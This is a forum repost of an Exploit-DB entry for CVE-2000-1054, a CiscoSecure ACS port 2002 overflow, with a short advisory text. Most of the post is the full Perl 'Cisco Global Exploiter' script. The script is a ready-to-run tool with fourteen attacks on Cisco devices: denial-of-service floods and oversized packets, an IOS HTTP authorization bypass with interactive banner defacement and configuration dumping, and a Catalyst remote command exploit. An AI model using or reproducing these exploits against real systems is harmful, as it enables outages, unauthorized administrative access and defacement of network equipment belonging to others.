Exploit Cisco Secure ACS for Windows NT 2.42 - Remote Buffer Overflow

Exploiter

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
20235
Проверка EDB
  1. Пройдено
Автор
BLACKANGELS
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2000-1054
Дата публикации
2000-09-21
Код: 
source: https://www.securityfocus.com/bid/1705/info

Depending on the data entered, CiscoSecure ACS for Windows NT can be made to crash or arbitrary code execution can be made possible if an unusually long packet is sent to port 2002.

If the application were to crash due to an oversized packet, the CSadmin Module would automatically restart after one minute in versions 2.3x and higher. Existing sessions would re-establish although they would need to be authenticated again. In prior versions, a restart is required in order to regain normal functionality. 

#!/usr/bin/perl

##
# Cisco Global Exploiter
#
# Legal notes :
# The BlackAngels staff refuse all responsabilities
# for an incorrect or illegal use of this software
# or for eventual damages to others systems.
#
# http://www.blackangels.it
##



##
# Modules
##

use Socket;
use IO::Socket;


##
# Main
##

$host = "";
$expvuln = "";
$host = @ARGV[ 0 ];
$expvuln = @ARGV[ 1 ];

if ($host eq "") {
usage();
}
if ($expvuln eq "") {
usage();
}
if ($expvuln eq "1") {
cisco1();
}
elsif ($expvuln eq "2") {
cisco2();
}
elsif ($expvuln eq "3") {
cisco3();
}
elsif ($expvuln eq "4") {
cisco4();
}
elsif ($expvuln eq "5") {
cisco5();
}
elsif ($expvuln eq "6") {
cisco6();
}
elsif ($expvuln eq "7") {
cisco7();
}
elsif ($expvuln eq "8") {
cisco8();
}
elsif ($expvuln eq "9") {
cisco9();
}
elsif ($expvuln eq "10") {
cisco10();
}
elsif ($expvuln eq "11") {
cisco11();
}
elsif ($expvuln eq "12") {
cisco12();
}
elsif ($expvuln eq "13") {
cisco13();
}
elsif ($expvuln eq "14") {
cisco14();
}
else {
printf "\nInvalid vulnerability number ...\n\n";
exit(1);
}


##
# Functions
##

sub usage
{
  printf "\nUsage :\n";
  printf "perl cge.pl <target> <vulnerability number>\n\n";
  printf "Vulnerabilities list :\n";
  printf "[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability\n";
  printf "[2] - Cisco IOS Router Denial of Service Vulnerability\n";
  printf "[3] - Cisco IOS HTTP Auth Vulnerability\n";
  printf "[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability\n";
  printf "[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";
  printf "[6] - Cisco 675 Web Administration Denial of Service Vulnerability\n";
  printf "[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability\n";
  printf "[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";
  printf "[9] - Cisco 514 UDP Flood Denial of Service Vulnerability\n";
  printf "[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n";
  printf "[11] - Cisco Catalyst Memory Leak Vulnerability\n";
  printf "[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability\n";
  printf "[13] - %u Encoding IDS Bypass Vulnerability (UTF)\n";
  printf "[14] - Cisco IOS HTTP Denial of Service Vulnerability\n";
  exit(1);
}

sub cisco1 # Cisco 677/678 Telnet Buffer Overflow Vulnerability
{
  my $serv = $host;
  my $dch = "?????????????????a~ %%%%%XX%%%%%";
  my $num = 30000;
  my $string .= $dch x $num;
  my $shc="\015\012";

  my $sockd = IO::Socket::INET->new (
                                     Proto => "tcp",
                                     PeerAddr => $serv,
                                     PeerPort => "(23)",
                                     ) || die("No telnet server detected on $serv ...\n\n");

  $sockd->autoflush(1);
  print $sockd "$string". $shc;
  while (<$sockd>){ print }
  print("\nPacket sent ...\n");
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto => "tcp",
                                      PeerAddr => $serv,
                                      PeerPort => "(23)",
                                      ) || die("Vulnerability successful exploited. Target server is down ...\n\n");

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  close($sockd2);
  exit(1);
}

sub cisco2 # Cisco IOS Router Denial of Service Vulnerability
{
  my $serv = $host;

  my $sockd = IO::Socket::INET->new (
                                     Proto=>"tcp",
                                     PeerAddr=>$serv,
                                     PeerPort=>"http(80)",);
                                     unless ($sockd){die "No http server detected on $serv ...\n\n"};
  $sockd->autoflush(1);
  print $sockd "GET /\%\% HTTP/1.0\n\n";
  -close $sockd;
  print "Packet sent ...\n";
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto=>"tcp",
                                      PeerAddr=>$serv,
                                      PeerPort=>"http(80)",);
                                      unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  close($sockd2);
  exit(1);
}

sub cisco3 # Cisco IOS HTTP Auth Vulnerability
{
  my $serv= $host;
  my $n=16;
  my $port=80;
  my $target = inet_aton($serv);
  my $fg = 0;

  LAB: while ($n<100) {
  my @results=exploit("GET /level/".$n."/exec/- HTTP/1.0\r\n\r\n");
  $n++;
  foreach $line (@results){
          $line=~ tr/A-Z/a-z/;
          if ($line =~ /http\/1\.0 401 unauthorized/) {$fg=1;}
          if ($line =~ /http\/1\.0 200 ok/) {$fg=0;}
  }

  if ($fg==1) {
               sleep(2);
               print "Vulnerability unsuccessful exploited ...\n\n";
              }
  else {
        sleep(2);
        print "\nVulnerability successful exploited with [http://$serv/level/$n/exec/....] ...\n\n";
        last LAB;
       }

  sub exploit {
               my ($pstr)=@_;
               socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
               die("Unable to initialize socket ...\n\n");
               if(connect(S,pack "SnA4x8",2,$port,$target)){
                                                            my @in;
                                                            select(S);
                                                            $|=1;
                                                            print $pstr;
                                                            while(<S>){ push @in, $_;}
                                                            select(STDOUT); close(S); return @in;
                                                           }
  else { die("No http server detected on $serv ...\n\n"); }
  }
  }
  exit(1);
}

sub cisco4 # Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
{
  my $serv = $host;
  my $n = 16;

  while ($n <100) {
                   exploit1("GET /level/$n/exec/- HTTP/1.0\n\n");
                   $wr =~ s/\n//g;
                   if ($wr =~ /200 ok/) {
                                              while(1)
                                              { print "\nVulnerability could be successful exploited. Please choose a type of attack :\n";
                                                print "[1] Banner change\n";
                                                print "[2] List vty 0 4 acl info\n";
                                                print "[3] Other\n";
                                                print "Enter a valid option [ 1 - 2 - 3 ] : ";
                                                $vuln = <STDIN>;
                                                chomp($vuln);

                   if ($vuln == 1) {
                                    print "\nEnter deface line : ";
                                    $vuln = <STDIN>;
                                    chomp($vuln);
                                    exploit1("GET /level/$n/exec/-/configure/-/banner/motd/$vuln HTTP/1.0\n\n");
                                   }
                   elsif ($vuln == 2) {
                                       exploit1("GET /level/$n/exec/show%20conf HTTP/1.0\n\n");
                                       print "$wrf";
                                      }
                   elsif ($vuln == 3)
                                      { print "\nEnter attack URL : ";
                                        $vuln = <STDIN>;
                                        chomp($vuln);
                                        exploit1("GET /$vuln HTTP/1.0\n\n");
                                        print "$wrf";
                                      }
         }
         }
         $wr = "";
         $n++;
  }
  die "Vulnerability unsuccessful exploited ...\n\n";

  sub exploit1 {
                my $sockd = IO::Socket::INET -> new (
                                                     Proto => 'tcp',
                                                     PeerAddr => $serv,
                                                     PeerPort => 80,
                                                     Type => SOCK_STREAM,
                                                     Timeout => 5);
                                                     unless($sockd){die "No http server detected on $serv ...\n\n"}
  $sockd->autoflush(1);
  $sockd -> send($_[0]);
  while(<$sockd>){$wr .= $_} $wrf = $wr;
  close $sockd;
  }
  exit(1);
}

sub cisco5 # Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
{
  my $serv = $host;
  my $port = 22;
  my $vuln = "a%a%a%a%a%a%a%";
 
  my $sockd = IO::Socket::INET->new (
                                     PeerAddr => $serv,
                                     PeerPort => $port,
                                     Proto => "tcp")
                                     || die "No ssh server detected on $serv ...\n\n";

  print "Packet sent ...\n";
  print $sockd "$vuln";
  close($sockd);
  exit(1);
}

sub cisco6 # Cisco 675 Web Administration Denial of Service Vulnerability
{
  my $serv = $host;
  my $port = 80;
  my $vuln = "GET ? HTTP/1.0\n\n";
 
  my $sockd = IO::Socket::INET->new (
                                     PeerAddr => $serv,
                                     PeerPort => $port,
                                     Proto => "tcp")
                                     || die "No http server detected on $serv ...\n\n";

  print "Packet sent ...\n";
  print $sockd "$vuln";
  sleep(2);
  print "\nServer response :\n\n";
  close($sockd);
  exit(1);
}

sub cisco7 # Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
{
  my $serv = $host;
  my $port = 80;
  my $k = "";
  
  print "Enter a file to read [ /show/config/cr set as default ] : ";
  $k = <STDIN>;
  chomp ($k);
  if ($k eq "")
  {$vuln = "GET /exec/show/config/cr HTTP/1.0\n\n";}
  else
  {$vuln = "GET /exec$k HTTP/1.0\n\n";}

  my $sockd = IO::Socket::INET->new (
                                     PeerAddr => $serv,
                                     PeerPort => $port,
                                     Proto => "tcp")
                                     || die "No http server detected on $serv ...\n\n";

  print "Packet sent ...\n";
  print $sockd "$vuln";
  sleep(2);
  print "\nServer response :\n\n";
  while (<$sockd>){print}
  close($sockd);
  exit(1);
}

sub cisco8 # Cisco IOS Software HTTP Request Denial of Service Vulnerability
{
  my $serv = $host;
  my $port = 80;
  my $vuln = "GET /error?/ HTTP/1.0\n\n";

  my $sockd = IO::Socket::INET->new (
                                     PeerAddr => $serv,
                                     PeerPort => $port,
                                     Proto => "tcp")
                                     || die "No http server detected on $serv ...\n\n";

  print "Packet sent ...\n";
  print $sockd "$vuln";
  sleep(2);
  print "\nServer response :\n\n";
  while (<$sockd>){print}
  close($sockd);
  exit(1);
}

sub cisco9 # Cisco 514 UDP Flood Denial of Service Vulnerability
{
  my $ip = $host;
  my $port = "514";
  my $ports = "";
  my $size = "";
  my $i = "";
  my $string = "%%%%%XX%%%%%";

  print "Input packets size : ";
  $size = <STDIN>;
  chomp($size);

  socket(SS, PF_INET, SOCK_DGRAM, 17);
  my $iaddr = inet_aton("$ip");

  for ($i=0; $i<10000; $i++)
  { send(SS, $string, $size, sockaddr_in($port, $iaddr)); }

  printf "\nPackets sent ...\n";
  sleep(2);
  printf "Please enter a server's open port : ";
  $ports = <STDIN>;
  chomp $ports;
  printf "\nNow checking server status ...\n";
  sleep(2);

  socket(SO, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "An error occuring while loading socket ...\n\n";
  my $dest = sockaddr_in ($ports, inet_aton($ip));
  connect (SO, $dest) || die "Vulnerability successful exploited. Target server is down ...\n\n";

  printf "Vulnerability unsuccessful exploited. Target server is still up ...\n\n";
  exit(1);
}

sub cisco10 # CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
{
  my $ip = $host;
  my $vln = "%%%%%XX%%%%%";
  my $num = 30000;
  my $string .= $vln x $num;
  my $shc="\015\012";

  my $sockd = IO::Socket::INET->new (
                                     Proto => "tcp",
                                     PeerAddr => $ip,
                                     PeerPort => "(2002)",
                                    ) || die "Unable to connect to $ip:2002 ...\n\n";

  $sockd->autoflush(1);
  print $sockd "$string" . $shc;
  while (<$sockd>){ print }
  print "Packet sent ...\n";
  close($sockd);
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto=>"tcp",
                                      PeerAddr=>$ip,
                                      PeerPort=>"(2002)",);
                                      unless ($sockd){die "Vulnerability successful exploited. Target server is down ...\n\n"};

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  exit(1);
}

sub cisco11 # Cisco Catalyst Memory Leak Vulnerability
{
  my $serv = $host;
  my $rep = "";
  my $str = "AAA\n";

  print "\nInput the number of repetitions : ";
  $rep = <STDIN>;
  chomp $rep;
 
  my $sockd = IO::Socket::INET->new (
                                     PeerAddr => $serv,
                                     PeerPort => "(23)",
                                     Proto => "tcp")
                                     || die "No telnet server detected on $serv ...\n\n";

  for ($k=0; $k<=$rep; $k++) {
                                print $sockd "$str";
                                sleep(1);
                                print $sockd "$str";
                                sleep(1);
                             }
  close($sockd);
  print "Packet sent ...\n";
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);
  
  my $sockd2 = IO::Socket::INET->new (
                                      Proto=>"tcp",
                                      PeerAddr=>$serv,
                                      PeerPort=>"(23)",);
                                      unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

  print "Vulnerability unsuccessful exploited. Target server is still up after $rep logins ...\\n";
  close($sockd2);
  exit(1);
}

sub cisco12 # Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
{
  my $serv = $host;
  my $l =100;
  my $vuln = "";
  my $long = "A" x $l;

  my $sockd = IO::Socket::INET->new (
                                     PeerAddr => $serv,
                                     PeerPort => "(80)",
                                     Proto => "tcp")
                                     || die "No http server detected on $serv ...\n\n";

  for ($k=0; $k<=50; $k++) {
                              my $vuln = "GET " . $long . " HTTP/1.0\n\n";
                              print $sockd "$vuln\n\n";
                              sleep(1);
                              $l = $l + 100;
                           }

  close($sockd);
  print "Packet sent ...\n";
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto=>"tcp",
                                      PeerAddr=>$serv,
                                      PeerPort=>"http(80)",);
                                      unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

  print "Target is not vulnerable. Server is still up after 5 kb of buffer ...)\n";
  close($sockd2);
  exit(1);
}

sub cisco13 # %u Encoding IDS Bypass Vulnerability (UTF)
{
  my $serv = $host;
  my $vuln = "GET %u002F HTTP/1.0\n\n";

  my $sockd = IO::Socket::INET->new (
                                     PeerAddr => $serv,
                                     PeerPort => "(80)",
                                     Proto => "tcp")
                                     || die "No http server detected on $serv ...\n\n";

  print "Packet sent ...\n";
  print $sockd "$vuln";
  close($sockd);
  sleep(1);
  print("Now checking server's status ...\n");
  print("Please verify if directory has been listed ...\n\n");
  print("Server response :\n");
  sleep(2);
  while (<$sockd>){ print }
  exit(1);
}

sub cisco14 # Cisco IOS HTTP server DoS Vulnerability
{
  my $serv = $host;
  my $vuln = "GET /TEST?/ HTTP/1.0";

  my $sockd = IO::Socket::INET->new (
                                     Proto=>"tcp",
                                     PeerAddr=>$serv,
                                     PeerPort=>"http(80)",);
                                     unless ($sockd){die "No http server detected on $serv ...\n\n"};

  print $sockd "$vuln\n\n";
  print "Packet sent ...\n";
  close($sockd);
  sleep(1);
  print("Now checking server's status ...\n");
  sleep(2);

  my $sockd2 = IO::Socket::INET->new (
                                      Proto=>"tcp",
                                      PeerAddr=>$serv,
                                      PeerPort=>"http(80)",);
                                      unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};

  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  close($sockd2);
  exit(1);
}
 
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